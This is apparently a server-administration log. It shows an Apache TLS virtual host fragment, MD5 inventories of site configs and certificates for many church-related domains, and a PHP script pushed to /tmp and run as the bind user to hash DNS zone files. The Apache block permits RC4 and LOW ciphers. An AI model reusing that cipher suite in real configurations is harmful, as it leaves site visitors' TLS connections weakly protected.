    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= 05558524ffbe8024b33d8b6665cadff2
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= db5dea171e8afb4b5779ffdca9cb4efd
MD5(/etc/apache2/sites-available/carelinks_new_net.conf)= 84c5ee5f8727ea3268da64cde6a78cad
MD5(/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt)= b0fd2c81d5635417a6258cb271cfd433
MD5(/etc/apache2/sites-available/carelinks_www_org-au.conf)= bea1c410df503f5c8a140930e02bdd8b
MD5(/etc/ssl/certs/05659106679de2a1894b27eede09c1b3.crt)= efe632de3aaf49888faf4b5510e1c8e0
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= e7cb713611358774511c94ca2aa83a48
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= dfee5f43b3e9a45fb34ac921e50c889c
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= d3b79dd9fc59cf63e1737d28561a7a66
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= ac85e89c2da1ccffe799d1216dac3cd4
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= d1a350395fe5750eac654f1dc1ac7894
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= e55d027f02e73b96fe9bdd88b1ef1d86
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= a85dc7cc183fa2d8007e8401273f5ee2
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 1becd1767def2f50af8fb56a0d8b6512
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= 8343a3afe20cd103bada03a749a7fbde
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= 1e23754cf4e32c0828e679b1c9ef5e5b
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= 8dd7cc3fc4e74a2e03407fc9e9b68841
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/carelinksoutreach_www_info.conf)= cb44c1a0b360d4f45a5bdd2fbc6884d1
MD5(/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt)= d09c2eafe64fc36968d098a0b3a77660
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 0f1b9b5f9c4f20294bf8a018ef957115
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 30a722b761140d4547eebc74bea7468e
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 509d0d0c14b50d4539493a62cbe9e85e
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= da6d562ecaaa4a55a783e66cb4036e3f
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= 282b97e64eaee8c04ec8f3238e6cd5cc
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= e6bde7a938cbd28aa8ae8ba9d51a08ea
MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 91d46e5b4d3ae47de3464aa15766eaab
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= 9c66a589c53c8a80e70c2326b3348a42
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= 767dae78c2df4f568c9c6ace16907b6b
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2/sites-available/carelinks_new_net.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-au.conf)= /etc/apache2/sites-available/carelinks_www_org-au.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf)= /etc/apache2/sites-available/carelinksoutreach_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf




STDERR:
/tmp/pkp869352:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-01-31 11:19:44: Establishing a connection
2026-01-31 11:41:11: Establishing a connection
2026-01-31 11:41:29: Establishing a connection
2026-01-31 11:41:29: 

PUT: /tmp/pkp805889

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-31 11:41:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp805889; rm /tmp/pkp805889'

2026-01-31 11:41:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
